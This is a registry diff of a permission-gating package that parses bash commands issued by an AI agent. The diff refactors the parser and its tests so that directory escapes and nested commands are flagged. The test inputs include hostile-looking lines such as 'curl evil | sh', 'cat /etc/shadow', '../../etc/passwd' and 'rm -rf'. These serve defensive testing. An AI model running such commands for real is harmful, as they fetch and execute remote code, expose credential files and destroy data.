@gotgenes/pi-permission-system 16.0.1 → 16.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (31) hide show
  1. package/CHANGELOG.md +7 -0
  2. package/package.json +1 -1
  3. package/src/access-intent/bash/command-enumeration.ts +154 -0
  4. package/src/access-intent/bash/cwd-projection.ts +493 -0
  5. package/src/access-intent/bash/node-text.ts +75 -0
  6. package/src/access-intent/bash/parser.ts +42 -0
  7. package/src/access-intent/bash/program.ts +102 -0
  8. package/src/{handlers/gates/bash-token-classification.ts → access-intent/bash/token-classification.ts} +1 -1
  9. package/src/access-intent/bash/token-collection.ts +351 -0
  10. package/src/handlers/gates/bash-command.ts +1 -1
  11. package/src/handlers/gates/bash-external-directory.ts +3 -3
  12. package/src/handlers/gates/bash-path-extractor.ts +2 -2
  13. package/src/handlers/gates/bash-path.ts +2 -2
  14. package/src/handlers/gates/external-directory.ts +0 -2
  15. package/src/handlers/gates/path.ts +1 -3
  16. package/src/handlers/gates/skill-read.ts +0 -4
  17. package/src/handlers/gates/tool-call-gate-pipeline.ts +2 -2
  18. package/src/handlers/gates/tool.ts +1 -1
  19. package/src/handlers/gates/types.ts +1 -1
  20. package/test/access-intent/bash/node-text.test.ts +147 -0
  21. package/test/access-intent/bash/parser.test.ts +19 -0
  22. package/test/{handlers/gates/bash-program.test.ts → access-intent/bash/program.test.ts} +96 -73
  23. package/test/{handlers/gates/bash-token-classification.test.ts → access-intent/bash/token-classification.test.ts} +1 -1
  24. package/test/access-intent/bash/token-collection.test.ts +300 -0
  25. package/test/handlers/external-directory-symlink-acceptance.test.ts +2 -3
  26. package/test/handlers/gates/bash-command-metamorphic.test.ts +2 -3
  27. package/test/handlers/gates/bash-external-directory.test.ts +2 -10
  28. package/test/handlers/gates/bash-path.test.ts +2 -2
  29. package/test/handlers/gates/external-directory.test.ts +0 -5
  30. package/test/handlers/gates/tool-call-gate-pipeline.test.ts +5 -2
  31. package/src/handlers/gates/bash-program.ts +0 -1143
@@ -1,3 +1,4 @@
1
+ import { BashProgram } from "#src/access-intent/bash/program";
1
2
  import { getNonEmptyString, toRecord } from "#src/common";
2
3
  import type { ScopedPermissionResolver } from "#src/permission-resolver";
3
4
  import type { SkillPromptEntry } from "#src/skill-prompt-sanitizer";
@@ -10,7 +11,6 @@ import {
10
11
  import { resolveBashCommandCheck } from "./bash-command";
11
12
  import { describeBashExternalDirectoryGate } from "./bash-external-directory";
12
13
  import { describeBashPathGate } from "./bash-path";
13
- import { BashProgram } from "./bash-program";
14
14
  import type { GateResult } from "./descriptor";
15
15
  import { describeExternalDirectoryGate } from "./external-directory";
16
16
  import { describePathGate } from "./path";
@@ -66,7 +66,7 @@ export class ToolCallGatePipeline {
66
66
  const command = getNonEmptyString(toRecord(tcc.input).command);
67
67
  const bashProgram =
68
68
  tcc.toolName === "bash" && command
69
- ? await BashProgram.parse(command)
69
+ ? await BashProgram.parse(command, tcc.cwd)
70
70
  : null;
71
71
 
72
72
  const formatter = new ToolPreviewFormatter(
@@ -28,7 +28,7 @@ function deriveSuggestionValue(
28
28
  if (tcc.toolName === "mcp") return check.target ?? "mcp";
29
29
  const path = getPathBearingToolPath(tcc.toolName, tcc.input);
30
30
  if (path === null) return "*";
31
- return tcc.cwd ? normalizePathForComparison(path, tcc.cwd) : path;
31
+ return normalizePathForComparison(path, tcc.cwd);
32
32
  }
33
33
 
34
34
  /**
@@ -9,5 +9,5 @@ export interface ToolCallContext {
9
9
  agentName: string | null;
10
10
  input: unknown;
11
11
  toolCallId: string;
12
- cwd: string | undefined;
12
+ cwd: string;
13
13
  }
@@ -0,0 +1,147 @@
1
+ import { describe, expect, it } from "vitest";
2
+ import {
3
+ resolveNodeText,
4
+ SKIP_SUBTREE_TYPES,
5
+ } from "#src/access-intent/bash/node-text";
6
+ import type { TSNode } from "#src/access-intent/bash/parser";
7
+
8
+ // Minimal fake TSNode builder — only fills the fields resolveNodeText reads.
9
+ function makeNode(type: string, text: string, children: TSNode[] = []): TSNode {
10
+ return {
11
+ type,
12
+ text,
13
+ childCount: children.length,
14
+ isNamed: true,
15
+ child: (i) => children[i] ?? null,
16
+ };
17
+ }
18
+
19
+ describe("SKIP_SUBTREE_TYPES", () => {
20
+ it("contains the three node types that must not be descended", () => {
21
+ expect(SKIP_SUBTREE_TYPES.has("heredoc_body")).toBe(true);
22
+ expect(SKIP_SUBTREE_TYPES.has("heredoc_end")).toBe(true);
23
+ expect(SKIP_SUBTREE_TYPES.has("comment")).toBe(true);
24
+ });
25
+
26
+ it("does not contain common argument node types", () => {
27
+ expect(SKIP_SUBTREE_TYPES.has("word")).toBe(false);
28
+ expect(SKIP_SUBTREE_TYPES.has("string")).toBe(false);
29
+ expect(SKIP_SUBTREE_TYPES.has("raw_string")).toBe(false);
30
+ });
31
+ });
32
+
33
+ describe("resolveNodeText", () => {
34
+ describe("word nodes", () => {
35
+ it("returns the node text unchanged", () => {
36
+ expect(resolveNodeText(makeNode("word", "hello"))).toBe("hello");
37
+ });
38
+ });
39
+
40
+ describe("raw_string nodes (single-quoted)", () => {
41
+ it("strips surrounding single quotes", () => {
42
+ expect(resolveNodeText(makeNode("raw_string", "'content'"))).toBe(
43
+ "content",
44
+ );
45
+ });
46
+
47
+ it("strips single quotes around a path", () => {
48
+ expect(resolveNodeText(makeNode("raw_string", "'/etc/hosts'"))).toBe(
49
+ "/etc/hosts",
50
+ );
51
+ });
52
+
53
+ it("returns text as-is when not fully single-quoted", () => {
54
+ // A raw_string node without enclosing quotes (defensive fallback)
55
+ expect(resolveNodeText(makeNode("raw_string", "noquotes"))).toBe(
56
+ "noquotes",
57
+ );
58
+ });
59
+ });
60
+
61
+ describe("string nodes (double-quoted)", () => {
62
+ it("concatenates inner word children, skipping quote delimiters", () => {
63
+ const quoteOpen = makeNode('"', '"');
64
+ const content = makeNode("string_content", "hello world");
65
+ const quoteClose = makeNode('"', '"');
66
+ const node = makeNode("string", '"hello world"', [
67
+ quoteOpen,
68
+ content,
69
+ quoteClose,
70
+ ]);
71
+ expect(resolveNodeText(node)).toBe("hello world");
72
+ });
73
+
74
+ it("concatenates multiple inner children", () => {
75
+ const quoteOpen = makeNode('"', '"');
76
+ const part1 = makeNode("string_content", "foo");
77
+ const part2 = makeNode("simple_expansion", "$BAR");
78
+ const quoteClose = makeNode('"', '"');
79
+ const node = makeNode("string", '"foo$BAR"', [
80
+ quoteOpen,
81
+ part1,
82
+ part2,
83
+ quoteClose,
84
+ ]);
85
+ expect(resolveNodeText(node)).toBe("foo$BAR");
86
+ });
87
+
88
+ it("returns empty string for an empty double-quoted string", () => {
89
+ const quoteOpen = makeNode('"', '"');
90
+ const quoteClose = makeNode('"', '"');
91
+ const node = makeNode("string", '""', [quoteOpen, quoteClose]);
92
+ expect(resolveNodeText(node)).toBe("");
93
+ });
94
+ });
95
+
96
+ describe("string_content, simple_expansion, and expansion nodes", () => {
97
+ it("returns text as-is for string_content", () => {
98
+ expect(resolveNodeText(makeNode("string_content", "plain text"))).toBe(
99
+ "plain text",
100
+ );
101
+ });
102
+
103
+ it("returns text as-is for simple_expansion (e.g. $HOME)", () => {
104
+ // retro 0350: $HOME returns the literal text of a simple_expansion node
105
+ expect(resolveNodeText(makeNode("simple_expansion", "$HOME"))).toBe(
106
+ "$HOME",
107
+ );
108
+ });
109
+
110
+ it("returns text as-is for expansion", () => {
111
+ // biome-ignore lint/suspicious/noTemplateCurlyInString: intentional literal — testing that expansion node text is returned verbatim
112
+ expect(resolveNodeText(makeNode("expansion", "${VAR}"))).toBe("${VAR}");
113
+ });
114
+ });
115
+
116
+ describe("concatenation nodes", () => {
117
+ it("concatenates resolved children", () => {
118
+ const word = makeNode("word", "/etc/");
119
+ const expansion = makeNode("simple_expansion", "$FILE");
120
+ const node = makeNode("concatenation", "/etc/$FILE", [word, expansion]);
121
+ expect(resolveNodeText(node)).toBe("/etc/$FILE");
122
+ });
123
+
124
+ it("handles nested concatenation-of-string", () => {
125
+ // A concatenation whose child is a double-quoted string
126
+ const quoteOpen = makeNode('"', '"');
127
+ const content = makeNode("string_content", "bar");
128
+ const quoteClose = makeNode('"', '"');
129
+ const inner = makeNode("string", '"bar"', [
130
+ quoteOpen,
131
+ content,
132
+ quoteClose,
133
+ ]);
134
+ const prefix = makeNode("word", "foo");
135
+ const node = makeNode("concatenation", 'foo"bar"', [prefix, inner]);
136
+ expect(resolveNodeText(node)).toBe("foobar");
137
+ });
138
+ });
139
+
140
+ describe("default fallback", () => {
141
+ it("returns the raw text for unknown node types", () => {
142
+ expect(resolveNodeText(makeNode("unknown_type", "rawtext"))).toBe(
143
+ "rawtext",
144
+ );
145
+ });
146
+ });
147
+ });
@@ -0,0 +1,19 @@
1
+ import { describe, expect, it } from "vitest";
2
+ import { getParser } from "#src/access-intent/bash/parser";
3
+
4
+ describe("getParser", () => {
5
+ it("parses a simple bash command and returns a non-null root node", async () => {
6
+ const parser = await getParser();
7
+ const tree = parser.parse("echo hi");
8
+ expect(tree).not.toBeNull();
9
+ expect(tree?.rootNode).toBeDefined();
10
+ expect(tree?.rootNode.type).toBe("program");
11
+ tree?.delete();
12
+ });
13
+
14
+ it("returns the same memoized parser instance on repeated calls", async () => {
15
+ const first = await getParser();
16
+ const second = await getParser();
17
+ expect(first).toBe(second);
18
+ });
19
+ });
@@ -10,15 +10,15 @@ vi.mock("node:fs", () => ({
10
10
  default: { realpathSync },
11
11
  }));
12
12
 
13
- import { BashProgram } from "#src/handlers/gates/bash-program";
13
+ import { BashProgram } from "#src/access-intent/bash/program";
14
14
 
15
15
  describe("BashProgram", () => {
16
16
  describe("pathRuleCandidates", () => {
17
17
  const cwd = "/projects/my-app";
18
18
 
19
19
  it("adds absolute and relative policy values for relative tokens", async () => {
20
- const program = await BashProgram.parse("cat src/foo.ts");
21
- expect(program.pathRuleCandidates(cwd)).toEqual([
20
+ const program = await BashProgram.parse("cat src/foo.ts", cwd);
21
+ expect(program.pathRuleCandidates()).toEqual([
22
22
  {
23
23
  token: "src/foo.ts",
24
24
  policyValues: ["/projects/my-app/src/foo.ts", "src/foo.ts"],
@@ -26,17 +26,13 @@ describe("BashProgram", () => {
26
26
  ]);
27
27
  });
28
28
 
29
- it("returns the literal token only when no cwd is provided", async () => {
30
- const program = await BashProgram.parse("cat src/foo.ts");
31
- expect(program.pathRuleCandidates()).toEqual([
32
- { token: "src/foo.ts", policyValues: ["src/foo.ts"] },
33
- ]);
34
- });
35
-
36
29
  it("resolves tokens after literal cd against the effective directory", async () => {
37
- const program = await BashProgram.parse("cd nested && cat src/file.txt");
30
+ const program = await BashProgram.parse(
31
+ "cd nested && cat src/file.txt",
32
+ cwd,
33
+ );
38
34
  const fileCandidate = program
39
- .pathRuleCandidates(cwd)
35
+ .pathRuleCandidates()
40
36
  .find((candidate) => candidate.token === "src/file.txt");
41
37
  expect(fileCandidate).toEqual({
42
38
  token: "src/file.txt",
@@ -49,9 +45,12 @@ describe("BashProgram", () => {
49
45
  });
50
46
 
51
47
  it("does not absolute-allow relative tokens after unknown cd", async () => {
52
- const program = await BashProgram.parse('cd "$DIR" && cat src/foo.ts');
48
+ const program = await BashProgram.parse(
49
+ 'cd "$DIR" && cat src/foo.ts',
50
+ cwd,
51
+ );
53
52
  const fileCandidate = program
54
- .pathRuleCandidates(cwd)
53
+ .pathRuleCandidates()
55
54
  .find((candidate) => candidate.token === "src/foo.ts");
56
55
  expect(fileCandidate).toEqual({
57
56
  token: "src/foo.ts",
@@ -69,21 +68,24 @@ describe("BashProgram", () => {
69
68
  });
70
69
 
71
70
  it("returns absolute paths resolving outside cwd", async () => {
72
- const program = await BashProgram.parse("cat /etc/hosts");
71
+ const program = await BashProgram.parse("cat /etc/hosts", cwd);
73
72
  // Subset matcher: the path is normalized before comparison.
74
- expect(program.externalPaths(cwd)).toContain("/etc/hosts");
73
+ expect(program.externalPaths()).toContain("/etc/hosts");
75
74
  });
76
75
 
77
76
  it("excludes paths within cwd", async () => {
78
- const program = await BashProgram.parse("cat src/index.ts");
79
- expect(program.externalPaths(cwd)).toHaveLength(0);
77
+ const program = await BashProgram.parse("cat src/index.ts", cwd);
78
+ expect(program.externalPaths()).toHaveLength(0);
80
79
  });
81
80
 
82
81
  describe("effective working directory projection", () => {
83
82
  it("folds a sequence of current-shell cd commands", async () => {
84
83
  // cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
85
- const program = await BashProgram.parse("cd a && cd b && cat ../c");
86
- expect(program.externalPaths(cwd)).toHaveLength(0);
84
+ const program = await BashProgram.parse(
85
+ "cd a && cd b && cat ../c",
86
+ cwd,
87
+ );
88
+ expect(program.externalPaths()).toHaveLength(0);
87
89
  });
88
90
 
89
91
  it("catches an escape masked by a later cd that the single-base model missed", async () => {
@@ -91,66 +93,73 @@ describe("BashProgram", () => {
91
93
  // ../../etc/passwd escapes to /projects/etc/passwd.
92
94
  const program = await BashProgram.parse(
93
95
  "cd nested/deep && cd .. && cat ../../etc/passwd",
96
+ cwd,
94
97
  );
95
- expect(program.externalPaths(cwd)).toContain("/projects/etc/passwd");
98
+ expect(program.externalPaths()).toContain("/projects/etc/passwd");
96
99
  });
97
100
 
98
101
  it("folds a cd that is not the first command", async () => {
99
102
  // The single-base model ignored a cd that was not first; now `cd a`
100
103
  // folds, so ../b resolves to cwd/b (inside) and is not flagged.
101
- const program = await BashProgram.parse("mkdir d && cd a && cat ../b");
102
- expect(program.externalPaths(cwd)).toHaveLength(0);
104
+ const program = await BashProgram.parse(
105
+ "mkdir d && cd a && cat ../b",
106
+ cwd,
107
+ );
108
+ expect(program.externalPaths()).toHaveLength(0);
103
109
  });
104
110
 
105
111
  it("does not fold a backgrounded cd", async () => {
106
112
  // `cd a &` runs in a subshell, so it must not update the running
107
113
  // directory; ../b resolves against cwd and escapes.
108
- const program = await BashProgram.parse("cd a & cat ../b");
109
- expect(program.externalPaths(cwd)).toContain("/projects/b");
114
+ const program = await BashProgram.parse("cd a & cat ../b", cwd);
115
+ expect(program.externalPaths()).toContain("/projects/b");
110
116
  });
111
117
 
112
118
  it("does not fold a cd inside a pipeline", async () => {
113
119
  // Pipeline members run in subshells; the cd must not leak.
114
- const program = await BashProgram.parse("cd nested | cat ../b");
115
- expect(program.externalPaths(cwd)).toContain("/projects/b");
120
+ const program = await BashProgram.parse("cd nested | cat ../b", cwd);
121
+ expect(program.externalPaths()).toContain("/projects/b");
116
122
  });
117
123
 
118
124
  it("folds a cd inside a subshell for paths within that subshell", async () => {
119
125
  // Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
120
- const program = await BashProgram.parse("( cd sub && cat ../x )");
121
- expect(program.externalPaths(cwd)).toHaveLength(0);
126
+ const program = await BashProgram.parse("( cd sub && cat ../x )", cwd);
127
+ expect(program.externalPaths()).toHaveLength(0);
122
128
  });
123
129
 
124
130
  it("does not leak a subshell cd to following commands", async () => {
125
131
  // The subshell cd resets on exit, so ../y resolves against cwd.
126
- const program = await BashProgram.parse("( cd sub ) && cat ../y");
127
- expect(program.externalPaths(cwd)).toContain("/projects/y");
132
+ const program = await BashProgram.parse("( cd sub ) && cat ../y", cwd);
133
+ expect(program.externalPaths()).toContain("/projects/y");
128
134
  });
129
135
 
130
136
  it("persists a cd inside a brace group to later commands in the group", async () => {
131
137
  // Brace groups run in the current shell, so cd sub persists to cat ../x.
132
- const program = await BashProgram.parse("{ cd sub; cat ../x; }");
133
- expect(program.externalPaths(cwd)).toHaveLength(0);
138
+ const program = await BashProgram.parse("{ cd sub; cat ../x; }", cwd);
139
+ expect(program.externalPaths()).toHaveLength(0);
134
140
  });
135
141
 
136
142
  it("persists a brace-group cd to following sibling commands", async () => {
137
- const program = await BashProgram.parse("{ cd sub; } && cat ../x");
138
- expect(program.externalPaths(cwd)).toHaveLength(0);
143
+ const program = await BashProgram.parse("{ cd sub; } && cat ../x", cwd);
144
+ expect(program.externalPaths()).toHaveLength(0);
139
145
  });
140
146
 
141
147
  it("conservatively flags a relative path inside a command substitution", async () => {
142
148
  // Interior cd folding inside substitutions is deferred: the interior
143
149
  // inherits the enclosing base (cwd), so ../r is flagged rather than
144
150
  // resolved against cwd/q. Conservative — never misses an escape.
145
- const program = await BashProgram.parse("echo $(cd q && cat ../r)");
146
- expect(program.externalPaths(cwd)).toContain("/projects/r");
151
+ const program = await BashProgram.parse(
152
+ "echo $(cd q && cat ../r)",
153
+ cwd,
154
+ );
155
+ expect(program.externalPaths()).toContain("/projects/r");
147
156
  });
148
157
 
149
158
  it("flags relative paths conservatively after a non-literal cd", async () => {
150
159
  // cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
151
160
  // so it is flagged (least-privilege).
152
- const program = await BashProgram.parse('cd "$DIR" && cat ../x');
153
- expect(program.externalPaths(cwd)).toContain("/projects/x");
161
+ const program = await BashProgram.parse('cd "$DIR" && cat ../x', cwd);
162
+ expect(program.externalPaths()).toContain("/projects/x");
154
163
  });
155
164
 
156
165
  it("flags even a within-cwd relative path after a non-literal cd", async () => {
@@ -158,8 +167,9 @@ describe("BashProgram", () => {
158
167
  // flagged because the effective dir is unknown.
159
168
  const program = await BashProgram.parse(
160
169
  'cd "$DIR" && cat src/../within.txt',
170
+ cwd,
161
171
  );
162
- expect(program.externalPaths(cwd)).toContain(
172
+ expect(program.externalPaths()).toContain(
163
173
  "/projects/my-app/within.txt",
164
174
  );
165
175
  });
@@ -169,13 +179,14 @@ describe("BashProgram", () => {
169
179
  // even when the effective dir is unknown.
170
180
  const program = await BashProgram.parse(
171
181
  'cd "$DIR" && cat /projects/my-app/x.txt',
182
+ cwd,
172
183
  );
173
- expect(program.externalPaths(cwd)).toHaveLength(0);
184
+ expect(program.externalPaths()).toHaveLength(0);
174
185
  });
175
186
 
176
187
  it("treats `cd -` as an unknown effective directory", async () => {
177
- const program = await BashProgram.parse("cd - && cat ../x");
178
- expect(program.externalPaths(cwd)).toContain("/projects/x");
188
+ const program = await BashProgram.parse("cd - && cat ../x", cwd);
189
+ expect(program.externalPaths()).toContain("/projects/x");
179
190
  });
180
191
 
181
192
  it("recovers a known base when a later cd is absolute", async () => {
@@ -183,8 +194,9 @@ describe("BashProgram", () => {
183
194
  // ../x resolves to cwd and is not flagged.
184
195
  const program = await BashProgram.parse(
185
196
  'cd "$DIR" && cd /projects/my-app/src && cat ../x',
197
+ cwd,
186
198
  );
187
- expect(program.externalPaths(cwd)).toHaveLength(0);
199
+ expect(program.externalPaths()).toHaveLength(0);
188
200
  });
189
201
 
190
202
  it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
@@ -195,8 +207,9 @@ describe("BashProgram", () => {
195
207
  // pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
196
208
  const program = await BashProgram.parse(
197
209
  "cd a && pnpm x 2>&1 | tail ; cat ../b",
210
+ cwd,
198
211
  );
199
- expect(program.externalPaths(cwd)).toHaveLength(0);
212
+ expect(program.externalPaths()).toHaveLength(0);
200
213
  });
201
214
 
202
215
  it("persists the fold past a redirect-then-pipe to a later cd", async () => {
@@ -205,8 +218,9 @@ describe("BashProgram", () => {
205
218
  // cwd instead of escaping one level above.
206
219
  const program = await BashProgram.parse(
207
220
  "cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
221
+ cwd,
208
222
  );
209
- expect(program.externalPaths(cwd)).toHaveLength(0);
223
+ expect(program.externalPaths()).toHaveLength(0);
210
224
  });
211
225
 
212
226
  it("does not fold the terminal piped command of the first stage", async () => {
@@ -217,8 +231,9 @@ describe("BashProgram", () => {
217
231
  // inside — a fail-open regression this test pins.
218
232
  const program = await BashProgram.parse(
219
233
  "cd a && cd b 2>&1 | tail ; cat ../../x",
234
+ cwd,
220
235
  );
221
- expect(program.externalPaths(cwd)).toContain("/projects/x");
236
+ expect(program.externalPaths()).toContain("/projects/x");
222
237
  });
223
238
 
224
239
  it("resolves a downstream pipe stage against the folded base", async () => {
@@ -227,8 +242,9 @@ describe("BashProgram", () => {
227
242
  // pre-cd base.
228
243
  const program = await BashProgram.parse(
229
244
  "cd a && pnpm x 2>&1 | cat ../foo",
245
+ cwd,
230
246
  );
231
- expect(program.externalPaths(cwd)).toHaveLength(0);
247
+ expect(program.externalPaths()).toHaveLength(0);
232
248
  });
233
249
  });
234
250
 
@@ -244,8 +260,9 @@ describe("BashProgram", () => {
244
260
  });
245
261
  const program = await BashProgram.parse(
246
262
  "cat /projects/my-app/link/hosts",
263
+ cwd,
247
264
  );
248
- const external = program.externalPaths(cwd);
265
+ const external = program.externalPaths();
249
266
  expect(external).toContain("/projects/my-app/link/hosts");
250
267
  expect(external).not.toContain("/etc/hosts");
251
268
  });
@@ -258,19 +275,24 @@ describe("BashProgram", () => {
258
275
  if (p.startsWith("/tmp/")) return "/private/tmp" + p.slice(4);
259
276
  return p;
260
277
  });
261
- const program = await BashProgram.parse("cat /tmp/workspace/file.ts");
262
- expect(program.externalPaths(symlinkCwd)).toHaveLength(0);
278
+ const program = await BashProgram.parse(
279
+ "cat /tmp/workspace/file.ts",
280
+ symlinkCwd,
281
+ );
282
+ expect(program.externalPaths()).toHaveLength(0);
263
283
  });
264
284
  });
265
285
 
266
286
  describe("commands", () => {
287
+ const cwd = "/projects/my-app";
288
+
267
289
  it("returns a single-element list for a lone command", async () => {
268
- const program = await BashProgram.parse("npm install pkg");
290
+ const program = await BashProgram.parse("npm install pkg", cwd);
269
291
  expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
270
292
  });
271
293
 
272
294
  it("splits an && chain", async () => {
273
- const program = await BashProgram.parse("cd /p && npm i x");
295
+ const program = await BashProgram.parse("cd /p && npm i x", cwd);
274
296
  expect(program.commands()).toEqual([
275
297
  { text: "cd /p" },
276
298
  { text: "npm i x" },
@@ -278,22 +300,22 @@ describe("BashProgram", () => {
278
300
  });
279
301
 
280
302
  it("splits || , ; and & separators", async () => {
281
- expect((await BashProgram.parse("a || b")).commands()).toEqual([
303
+ expect((await BashProgram.parse("a || b", cwd)).commands()).toEqual([
282
304
  { text: "a" },
283
305
  { text: "b" },
284
306
  ]);
285
- expect((await BashProgram.parse("a ; b")).commands()).toEqual([
307
+ expect((await BashProgram.parse("a ; b", cwd)).commands()).toEqual([
286
308
  { text: "a" },
287
309
  { text: "b" },
288
310
  ]);
289
- expect((await BashProgram.parse("a & b")).commands()).toEqual([
311
+ expect((await BashProgram.parse("a & b", cwd)).commands()).toEqual([
290
312
  { text: "a" },
291
313
  { text: "b" },
292
314
  ]);
293
315
  });
294
316
 
295
317
  it("splits a pipeline into its commands", async () => {
296
- const program = await BashProgram.parse("cat f | grep b");
318
+ const program = await BashProgram.parse("cat f | grep b", cwd);
297
319
  expect(program.commands()).toEqual([
298
320
  { text: "cat f" },
299
321
  { text: "grep b" },
@@ -301,22 +323,22 @@ describe("BashProgram", () => {
301
323
  });
302
324
 
303
325
  it("splits newline-separated commands", async () => {
304
- const program = await BashProgram.parse("foo\nbar");
326
+ const program = await BashProgram.parse("foo\nbar", cwd);
305
327
  expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
306
328
  });
307
329
 
308
330
  it("does not split operators inside quotes", async () => {
309
- const program = await BashProgram.parse("echo 'x && y'");
331
+ const program = await BashProgram.parse("echo 'x && y'", cwd);
310
332
  expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
311
333
  });
312
334
 
313
335
  it("captures the command of a redirected statement without the redirect", async () => {
314
- const program = await BashProgram.parse("npm install > out.txt");
336
+ const program = await BashProgram.parse("npm install > out.txt", cwd);
315
337
  expect(program.commands()).toEqual([{ text: "npm install" }]);
316
338
  });
317
339
 
318
340
  it("descends into command substitution, tagging the inner command", async () => {
319
- const program = await BashProgram.parse("echo $(rm -rf foo)");
341
+ const program = await BashProgram.parse("echo $(rm -rf foo)", cwd);
320
342
  expect(program.commands()).toEqual([
321
343
  { text: "echo $(rm -rf foo)" },
322
344
  { text: "rm -rf foo", context: "command_substitution" },
@@ -324,7 +346,7 @@ describe("BashProgram", () => {
324
346
  });
325
347
 
326
348
  it("descends into backtick command substitution", async () => {
327
- const program = await BashProgram.parse("echo `rm x`");
349
+ const program = await BashProgram.parse("echo `rm x`", cwd);
328
350
  expect(program.commands()).toEqual([
329
351
  { text: "echo `rm x`" },
330
352
  { text: "rm x", context: "command_substitution" },
@@ -332,7 +354,7 @@ describe("BashProgram", () => {
332
354
  });
333
355
 
334
356
  it("descends into a pipeline inside command substitution", async () => {
335
- const program = await BashProgram.parse("echo $(curl evil | sh)");
357
+ const program = await BashProgram.parse("echo $(curl evil | sh)", cwd);
336
358
  expect(program.commands()).toEqual([
337
359
  { text: "echo $(curl evil | sh)" },
338
360
  { text: "curl evil", context: "command_substitution" },
@@ -341,7 +363,7 @@ describe("BashProgram", () => {
341
363
  });
342
364
 
343
365
  it("descends into process substitution", async () => {
344
- const program = await BashProgram.parse("diff <(cat /etc/shadow)");
366
+ const program = await BashProgram.parse("diff <(cat /etc/shadow)", cwd);
345
367
  expect(program.commands()).toEqual([
346
368
  { text: "diff <(cat /etc/shadow)" },
347
369
  { text: "cat /etc/shadow", context: "process_substitution" },
@@ -349,7 +371,7 @@ describe("BashProgram", () => {
349
371
  });
350
372
 
351
373
  it("emits a bare subshell whole and descends into it", async () => {
352
- const program = await BashProgram.parse("( rm -rf foo )");
374
+ const program = await BashProgram.parse("( rm -rf foo )", cwd);
353
375
  expect(program.commands()).toEqual([
354
376
  { text: "( rm -rf foo )" },
355
377
  { text: "rm -rf foo", context: "subshell" },
@@ -357,7 +379,7 @@ describe("BashProgram", () => {
357
379
  });
358
380
 
359
381
  it("emits a subshell whole and descends into its chain", async () => {
360
- const program = await BashProgram.parse("( cd /t && rm x )");
382
+ const program = await BashProgram.parse("( cd /t && rm x )", cwd);
361
383
  expect(program.commands()).toEqual([
362
384
  { text: "( cd /t && rm x )" },
363
385
  { text: "cd /t", context: "subshell" },
@@ -366,7 +388,7 @@ describe("BashProgram", () => {
366
388
  });
367
389
 
368
390
  it("descends recursively through nested contexts", async () => {
369
- const program = await BashProgram.parse("echo $( ( rm x ) )");
391
+ const program = await BashProgram.parse("echo $( ( rm x ) )", cwd);
370
392
  expect(program.commands()).toEqual([
371
393
  { text: "echo $( ( rm x ) )" },
372
394
  { text: "( rm x )", context: "command_substitution" },
@@ -375,7 +397,7 @@ describe("BashProgram", () => {
375
397
  });
376
398
 
377
399
  it("descends into a substitution within a chained command", async () => {
378
- const program = await BashProgram.parse("cd /p && echo $(rm x)");
400
+ const program = await BashProgram.parse("cd /p && echo $(rm x)", cwd);
379
401
  expect(program.commands()).toEqual([
380
402
  { text: "cd /p" },
381
403
  { text: "echo $(rm x)" },
@@ -384,7 +406,7 @@ describe("BashProgram", () => {
384
406
  });
385
407
 
386
408
  it("keeps the never-weaker invariant: a benign inner command stays", async () => {
387
- const program = await BashProgram.parse("echo $(echo safe)");
409
+ const program = await BashProgram.parse("echo $(echo safe)", cwd);
388
410
  expect(program.commands()).toEqual([
389
411
  { text: "echo $(echo safe)" },
390
412
  { text: "echo safe", context: "command_substitution" },
@@ -392,18 +414,19 @@ describe("BashProgram", () => {
392
414
  });
393
415
 
394
416
  it("returns an empty list for an empty or whitespace command", async () => {
395
- expect((await BashProgram.parse("")).commands()).toEqual([]);
396
- expect((await BashProgram.parse(" ")).commands()).toEqual([]);
417
+ expect((await BashProgram.parse("", cwd)).commands()).toEqual([]);
418
+ expect((await BashProgram.parse(" ", cwd)).commands()).toEqual([]);
397
419
  });
398
420
  });
399
421
 
400
422
  it("derives both slices from a single parse", async () => {
401
- const program = await BashProgram.parse("cat .env /etc/hosts");
423
+ const cwd = "/projects/my-app";
424
+ const program = await BashProgram.parse("cat .env /etc/hosts", cwd);
402
425
  expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
403
426
  ".env",
404
427
  "/etc/hosts",
405
428
  ]);
406
- const external = program.externalPaths("/projects/my-app");
429
+ const external = program.externalPaths();
407
430
  expect(external).toContain("/etc/hosts");
408
431
  expect(external).not.toContain(".env");
409
432
  });
@@ -3,7 +3,7 @@ import { describe, expect, test } from "vitest";
3
3
  import {
4
4
  classifyTokenAsPathCandidate,
5
5
  classifyTokenAsRuleCandidate,
6
- } from "#src/handlers/gates/bash-token-classification";
6
+ } from "#src/access-intent/bash/token-classification";
7
7
 
8
8
  // ── Shared rejection behaviour ─────────────────────────────────────────────
9
9
  //